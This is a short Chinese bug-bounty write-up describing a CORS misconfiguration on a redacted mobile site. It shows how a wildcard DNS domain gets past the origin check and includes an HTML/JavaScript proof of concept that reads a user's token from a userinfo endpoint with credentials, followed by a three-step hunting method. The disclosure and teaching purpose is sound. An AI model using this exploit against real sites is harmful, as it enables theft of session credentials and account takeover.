漏洞作者:rcoil

挖洞过程无意中看到一个数据包,响应包中包含有Access-Control-Allow-Origin这个字段,然后就随手尝试看看有没有CORS漏洞!结果如图

cors劫持用户凭证任意登陆

再尝试 发现如下图!

cors劫持用户凭证任意登陆

发现后面再加上域名是可以跨域获取资源的

如何利用?

利用方式就是泛解析,将http://m.****.com.rcoil.me解析到我们的IP上,由于比较穷买不起域名,就本地搭了个DNS设置了泛解析,如下图

cors劫持用户凭证任意登陆

只要是*.rcoil.me都会解析到我们的本地这

cors劫持用户凭证任意登陆

POC如下:

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
 
<div >
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://m.***.com/activity/juejiapi/editor/userinfo", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
 
</body>
</html>

而拿到的TOKEN又能干嘛呢,如图
cors劫持用户凭证任意登陆

cors劫持用户凭证任意登陆

总结:
第1步、观察CORS是否可以可控
第2步、如果可控的话寻找账户登陆的唯一凭证
第3步、然后在观察凭证是否可劫持

相关文章:

  • 2022-01-13
  • 2021-10-30
  • 2021-08-17
  • 2021-08-15
  • 2021-12-19
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-10-29
  • 2021-07-15
  • 2021-05-04
  • 2022-02-07
  • 2021-12-06
  • 2021-08-27
相关资源
相似解决方案